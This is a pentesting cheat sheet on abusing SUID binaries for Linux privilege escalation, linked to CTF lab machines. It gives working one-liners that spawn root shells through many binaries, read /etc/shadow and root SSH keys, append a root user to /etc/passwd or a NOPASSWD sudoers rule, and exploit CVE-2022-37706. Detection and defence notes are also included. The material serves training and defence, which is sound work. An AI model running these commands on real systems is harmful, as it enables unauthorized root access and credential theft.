Abusing SUID binaries
Full command arsenal in the cheatsheetOn Linux, the SUID bit (Set User ID, shown as s in the owner column, e.g. -rwsr-xr-x) makes an executable run with its owner's privileges, not the caller's. Its legitimate use is to grant a regular user a narrow task that needs privilege (the classic case is passwd, owned by root, which must write to /etc/shadow). The problem is that a root-owned SUID binary that does more than it should (spawns other programs, reads or writes arbitrary files, interprets commands) becomes an escalation path: the attacker inherits root through it.
Enumeration
Search the whole system for files with the SUID bit (and its cousin SGID):
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -6000 -type f 2>/dev/null # SUID + SGID
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/nullCompare the list against a clean system: whatever is extra (nmap, vim, find, python, a binary in /opt) is the candidate. linpeas highlights it in yellow/red.
The rule of thumb: each line below is a distinct invocation depending on which binary holds the bit. The -p is key: without it, bash/sh drop the elevated effective UID at startup (privilege drop); with -p they keep euid=0. GTFOBins catalogs the exact invocation of hundreds of binaries; below are the families by case.
Direct root shell spawn
Binaries that run other programs or interpret commands. If the SUID is on this list, it is an instant shell. Pick the line for the binary you have:
bash -p
env /bin/sh -p
find . -exec /bin/sh -p \; -quit
nmap --interactive # then inside: !sh (old nmap)
echo 'os.execute("/bin/sh")' > /tmp/x.nse; nmap --script=/tmp/x.nse # modern nmap
awk 'BEGIN {system("/bin/sh -p")}'
gawk 'BEGIN {system("/bin/sh -p")}'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh -p";'
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh -p"'
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh",["-p"],{stdio:[0,1,2]})'
lua -e 'os.execute("/bin/sh -p")'Editors/pagers have their own shell escape (handy when the SUID is vim, less or man):
vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
less /etc/profile # then inside: !/bin/sh -p
man man # then inside: !/bin/sh -pArbitrary file read as root
When the SUID only reads (no shell), it serves to dump /etc/shadow and crack the hash, or read root's SSH key. One binary per line:
cat /etc/shadow
base64 /etc/shadow | base64 -d
xxd /etc/shadow | xxd -r
od -An -c /etc/shadow
cut -d: -f1 /root/.ssh/id_rsa # cut reading the key
tail -c1G /etc/shadow # tail dumping the whole file
sed '' /etc/shadow # sed with no script = catArbitrary file write as root
When the SUID writes, the cleanest path is to add ourselves to /etc/passwd with our own password (avoids touching /etc/shadow). The $1$... hash is generated with openssl:
openssl passwd -1 -salt hax pass123 # -> $1$hax$.... copy the hash
echo 'hax:$1$hax$ROUNDS...:0:0:root:/root:/bin/bash' | tee -a /etc/passwd # SUID tee
printf 'hax:$1$hax$...:0:0::/root:/bin/bash\n' | dd of=/etc/passwd oflag=append conv=notrunc # SUID dd
cp /etc/passwd /tmp/p; echo 'hax:...:0:0::/root:/bin/bash' >> /tmp/p; cp /tmp/p /etc/passwd # SUID cpThen su hax (password pass123) gives root. Alternative: write a rule into /etc/sudoers (echo 'user ALL=(ALL) NOPASSWD:ALL' | tee -a /etc/sudoers) or drop a SUID bash.
Vulnerable third-party binaries (CVE)
Installed software shipping its own buggy SUID. You don't abuse a feature, you exploit a bug. Example: Enlightenment 0.23.1 / CVE-2022-37706, where enlightenment_sys failed to sanitise a mount path and a crafted directory name ran code as root:
enlightenment_sys /bin/ -c "/tmp/exploit ; /bin/sh" # (scheme; see the CVE PoC per version)Pin down the exact version of the binary and look for the CVE, like any other service.
Related sub-vectors when the SUID loads external code: PATH hijacking (calls a binary with no absolute path), shared library injection (dlopens a writable path) and LD_LIBRARY_PATH hijack.
How to detect it. Discovery leaves the trace of a massive find / -perm -4000 (auditd). The abuse has a clear signature: a SUID binary spawning sh -p/bash -p as a child, or a setuid(0) call followed by a shell from a non-admin process (auditd over execve/setuid, Sysmon for Linux). At rest, a new SUID binary in /tmp, /dev/shm or a user's home (the classic rootbash copied from /bin/bash with chmod +s) is a direct post-exploitation indicator.
Defence. Keep the SUID set to a minimum (audit it regularly), strip the bit from anything that doesn't need it (chmod u-s), prefer fine-grained capabilities over full SUID, mount data partitions with nosuid, and patch third-party software that installs privileged binaries. Related to Linux permission abuse and to credential reuse as typical preceding steps.
Machines where it's used
- AstronautProving Grounds Practice
- BackdoorHackTheBox
- BBSecuteProving Grounds Play
- BoardLightHackTheBox
- CelestialHackTheBox
- ChocolateLoversDockerLabs
- ConsolelogDockerLabs
- DC-1VulnHub
- HunitProving Grounds Practice
- LaboratoryHackTheBox
- MzeeavProving Grounds Practice
- NibblesProving Grounds Practice
- PCProving Grounds Practice
- PeppoProving Grounds Practice
- PsychoDockerLabs
- QuackerJackProving Grounds Practice
- SorcererProving Grounds Practice
- SybarisProving Grounds Practice
- WallaProving Grounds Practice
- XposedAPIProving Grounds Practice